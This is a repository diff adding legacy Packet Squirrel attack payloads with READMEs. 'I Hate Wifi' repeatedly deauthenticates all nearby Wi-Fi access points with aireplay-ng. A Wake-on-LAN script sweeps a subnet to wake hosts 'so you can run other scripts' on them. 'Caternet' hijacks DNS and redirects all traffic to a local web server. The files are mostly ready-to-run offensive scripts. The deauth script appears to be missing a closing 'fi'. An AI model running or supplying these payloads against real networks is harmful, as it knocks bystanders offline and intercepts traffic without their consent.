Update repos for Packet Squirrel Mk 2 release
26
legacy-mk1/payloads/library/general/I-Hate-Wifi/README.md
Normal file
@@ -0,0 +1,26 @@
|
||||
| | |
|
||||
|:----------------|:---------------------------------------------------------------------------------------------------|
|
||||
| **Title** |I Hate Wifi |
|
||||
| **Description** | Deauths all wifi clients in the area with option to exclude your own . |
|
||||
**Author** | TheDragonkeeper |
|
||||
| **Version** | 1.0 |
|
||||
| **Category** | General |
|
||||
| **Target** | Any |
|
||||
|
||||
| Meaning | Color | Description |
|
||||
|:----------|:-----------------:|:----------------------------|
|
||||
| Waiting: | Blinking yellow | Waiting on network - getting requirements |
|
||||
| Failed: | Flashing Red | Failed to get package |
|
||||
| Scanning: | Green | Scanning for Aps |
|
||||
| Attacking: | Red | Deauthing targets |
|
||||
| Done: | Blue | Sleeping |
|
||||
|
||||
| Requires |
|
||||
|:----------|
|
||||
| Aircrack-ng |
|
||||
| usb wifi dongle |
|
||||
| Fw 1.1 + |
|
||||
|
||||
| Options | Line | Result |
|
||||
|:----------|:----------|:----------|
|
||||
| YOUR_AP_MAC='' | 37 |Add your mac address to exclude your AP from attack |
|
||||
42
legacy-mk1/payloads/library/general/I-Hate-Wifi/payload.sh
Executable file
@@ -0,0 +1,42 @@
|
||||
#!/bin/bash
|
||||
|
||||
# This payload is for the original Packet Squirrel. It may not work on
|
||||
# the Packet Squirrel Mark II
|
||||
|
||||
function scan() {
|
||||
LED G
|
||||
ifconfig wlan0 down
|
||||
iwconfig wlan0 mode managed
|
||||
ifconfig wlan0 up
|
||||
AP_LIST=$(iwlist wlan0 scan | grep Address | awk '{ print $5 }')
|
||||
}
|
||||
|
||||
function attack() {
|
||||
ifconfig wlan0 down
|
||||
iwconfig wlan0 mode monitor
|
||||
ifconfig wlan0 up
|
||||
LED R
|
||||
for a in $AP_LIST
|
||||
do
|
||||
if [ $a != $YOUR_AP_MAC ]; then
|
||||
aireplay-ng -0 20 -a $a wlan0
|
||||
fi
|
||||
done
|
||||
LED B
|
||||
sleep 10
|
||||
scan
|
||||
attack
|
||||
}
|
||||
|
||||
if [ ! -f '/usr/sbin/aireplay-ng' ] ; then
|
||||
LED STAGE1
|
||||
NETMODE NAT
|
||||
until ping -c 1 8.8.8.8 >/dev/null ; do : ; done
|
||||
opkg install aircrack-ng || LED FAIL
|
||||
|
||||
LED SETUP
|
||||
AP_LIST=''
|
||||
############ You can change this Variable to allow your AP to not be targeted
|
||||
YOUR_AP_MAC='00:11:22:00:11:22'
|
||||
scan
|
||||
attack
|
||||
30
legacy-mk1/payloads/library/general/Wake-On-Lan/README.md
Normal file
@@ -0,0 +1,30 @@
|
||||
|
||||
| | |
|
||||
|:----------------|:---------------------------------------------------------------------------------------------------|
|
||||
| **Title** |Wake UP! |
|
||||
| **Description** | Sends a wake on lan packet to a single device or a range of IPs in a subnet. This script will take the local interface IP and netmask, calculate the broadcast address (making it plug and play on all network), find the mac address of the targets (can be noisy but its only a single ping to each) and finally send a magic packet (if mac is found) to wake the device from slumber so you can run other scripts on newly awakened devices. |
|
||||
**Author** | TheDragonkeeper |
|
||||
| **Version** | 1.0 |
|
||||
| **Category** | General |
|
||||
| **Target** | Any |
|
||||
|
||||
| LED MODE | Description |
|
||||
|:-----------------:|:----------------------------|
|
||||
| SETUP | setting network to nat |
|
||||
| FAIL | Script had a fault |
|
||||
| ATTACK | Loading python script |
|
||||
| FINISH | Completed |
|
||||
|
||||
|
||||
| Options | Result | Type |
|
||||
|:----------|:----------|:----------|
|
||||
| Set a single target or range of targets | Options line 5 in payload.sh | |
|
||||
|INTERFACE='eth0' | interface of the outgoing interface | str |
|
||||
|SINGLE='0' | single target or range ( 1 or 0 ) | int |
|
||||
|TARGET='192.168.1.2' | single target | str |
|
||||
|STARTRANGE='1' | ip range start | int |
|
||||
|ENDRANGE='255' | ip range end | int |
|
||||
|
||||
If Option SINGLE is set to 1 then the value of TARGET is used
|
||||
if Option SINGLE is set to 0 then STARTRANGE and ENDRANGE is used
|
||||
Give all Options a value regardless of the value of SINGLE
|
||||
24
legacy-mk1/payloads/library/general/Wake-On-Lan/payload.sh
Executable file
@@ -0,0 +1,24 @@
|
||||
#!/bin/bash
|
||||
|
||||
# This payload is for the original Packet Squirrel. It may not work on
|
||||
# the Packet Squirrel Mark II
|
||||
|
||||
LED STAGE1
|
||||
NETMODE NAT
|
||||
|
||||
#### OPTIONS
|
||||
INTERFACE='eth0' #interface of the outgoing interface
|
||||
SINGLE='0' # single target or range ( 1 or 0 )
|
||||
TARGET='192.168.1.2' # single target
|
||||
STARTRANGE='1' # ip range start
|
||||
ENDRANGE='255' # ip range end
|
||||
####
|
||||
|
||||
function failedpy() {
|
||||
LED FAIL
|
||||
exit
|
||||
}
|
||||
|
||||
LED ATTACK
|
||||
python /root/payloads/$(SWITCH)/wol.py $INTERFACE $SINGLE $TARGET $STARTRANGE $ENDRANGE || failedpy
|
||||
LED FINISH
|
||||
89
legacy-mk1/payloads/library/general/Wake-On-Lan/wol.py
Normal file
@@ -0,0 +1,89 @@
|
||||
import socket
|
||||
import struct
|
||||
import os
|
||||
import sys
|
||||
from subprocess import Popen, PIPE
|
||||
import fcntl
|
||||
|
||||
#### OPTIONS
|
||||
interface = str(sys.argv[1])
|
||||
SINGLETARGET = int(sys.argv[2])
|
||||
########## if SINGLETARGET is 1 WAKETARGET is used
|
||||
WAKETARGET = str(sys.argv[3])
|
||||
########## if SINGLETARGET is 0 ranges are used
|
||||
startrange = int(sys.argv[4])
|
||||
endrange = int(sys.argv[5])
|
||||
####
|
||||
|
||||
def wake_on_lan(host, broad):
|
||||
if host == '00:00:00:00:00:00':
|
||||
return False
|
||||
try:
|
||||
macaddress = host
|
||||
except:
|
||||
return False
|
||||
if len(macaddress) == 12:
|
||||
pass
|
||||
elif len(macaddress) == 12 + 5:
|
||||
sep = macaddress[2]
|
||||
macaddress = macaddress.replace(sep, '')
|
||||
else:
|
||||
raise ValueError('Incorrect MAC address format')
|
||||
data = ''.join(['FFFFFFFFFFFF', macaddress * 20])
|
||||
send_data = b''
|
||||
for i in range(0, len(data), 2):
|
||||
send_data = b''.join([send_data,
|
||||
struct.pack('B', int(data[i: i + 2], 16))])
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
sock.sendto(send_data, (broad,9))
|
||||
print('sent to '+host)
|
||||
return True
|
||||
|
||||
def get_mac(IP):
|
||||
try:
|
||||
Popen(["ping", "-c1", IP], stdout = PIPE)
|
||||
pid = Popen(["cat", "/proc/net/arp"], stdout = PIPE )
|
||||
mac = str(pid.communicate()[0]).split()
|
||||
mac = mac[int(mac.index(IP)+3)]
|
||||
except:
|
||||
pass
|
||||
return mac
|
||||
|
||||
def get_ip_address(ifname):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
return socket.inet_ntoa(fcntl.ioctl(
|
||||
s.fileno(),
|
||||
0x8915,
|
||||
struct.pack('256s', ifname)
|
||||
)[20:24])
|
||||
|
||||
ip = str(get_ip_address(interface))
|
||||
submask = socket.inet_ntoa(struct.pack(">L", (1<<32) - (1<<32>>24)))
|
||||
addr = ip.split('.')
|
||||
cidr = int(sum([bin(int(x)).count('1') for x in submask.split('.')]))
|
||||
mask = submask.split('.')
|
||||
net = []
|
||||
for i in range(4):
|
||||
net.append(int(addr[i]) & int(mask[i]))
|
||||
for i in range(int(32 - cidr)):
|
||||
net[3 - i/8] = net[3 - i/8] + (1 << (i % 8))
|
||||
|
||||
if SINGLETARGET == 0:
|
||||
ip = ip.split('.')
|
||||
exclude = str(ip[3])
|
||||
del ip[3]
|
||||
ip.append('x')
|
||||
ip = ".".join(map(str, ip))
|
||||
for num in range(startrange, endrange):
|
||||
if str(num) != exclude:
|
||||
wakeip = ip.replace('x', str(num))
|
||||
try:
|
||||
wake_on_lan(get_mac(str(wakeip)), str(".".join(map(str, net))))
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
wake_on_lan(get_mac(str(WAKETARGET)), str(".".join(map(str, net))))
|
||||
except:
|
||||
pass
|
||||
23
legacy-mk1/payloads/library/general/caternet/index.html
Normal file
@@ -0,0 +1,23 @@
|
||||
<script language="JavaScript">
|
||||
<!--
|
||||
function random_img(){
|
||||
var kerby=new Array()
|
||||
kerby[1]="kerby1.jpg"
|
||||
kerby[2]="kerby2.jpg"
|
||||
kerby[3]="kerby3.jpg"
|
||||
kerby[4]="kerby4.jpg"
|
||||
kerby[5]="kerby5.jpg"
|
||||
kerby[6]="kerby6.jpg"
|
||||
kerby[7]="kerby7.jpg"
|
||||
kerby[8]="kerby8.jpg"
|
||||
kerby[9]="kerby9.jpg"
|
||||
|
||||
|
||||
var ry=Math.floor(Math.random()*kerby.length)
|
||||
if (ry==0)
|
||||
ry=1
|
||||
document.write('<img src="'+kerby[ry]+'">')
|
||||
}
|
||||
random_img()
|
||||
//-->
|
||||
</script>
|
||||
BIN
legacy-mk1/payloads/library/general/caternet/kerby1.jpg
Normal file
|
After Width: | Height: | Size: 95 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby2.jpg
Normal file
|
After Width: | Height: | Size: 93 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby3.jpg
Normal file
|
After Width: | Height: | Size: 96 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby4.jpg
Normal file
|
After Width: | Height: | Size: 55 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby5.jpg
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby6.jpg
Normal file
|
After Width: | Height: | Size: 81 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby7.jpg
Normal file
|
After Width: | Height: | Size: 64 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby8.jpg
Normal file
|
After Width: | Height: | Size: 66 KiB |
BIN
legacy-mk1/payloads/library/general/caternet/kerby9.JPG
Normal file
|
After Width: | Height: | Size: 53 KiB |
18
legacy-mk1/payloads/library/general/caternet/payload.sh
Normal file
@@ -0,0 +1,18 @@
|
||||
# Title: Caternet
|
||||
#
|
||||
# This payload is for the original Packet Squirrel. It may not work on
|
||||
# the Packet Squirrel Mark II
|
||||
#
|
||||
# Author: Hak5Darren
|
||||
# Version: 1.0
|
||||
# Description: Forwards all traffic to local webserver hosting cat photos.
|
||||
# Props: In loving memory of Hak5Kerby
|
||||
|
||||
LED SETUP
|
||||
NETMODE NAT
|
||||
echo "address=/#/172.16.32.1" > /tmp/dnsmasq.address
|
||||
/etc/init.d/dnsmasq restart
|
||||
|
||||
LED ATTACK
|
||||
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
|
||||
python -m SimpleHTTPServer 80
|
||||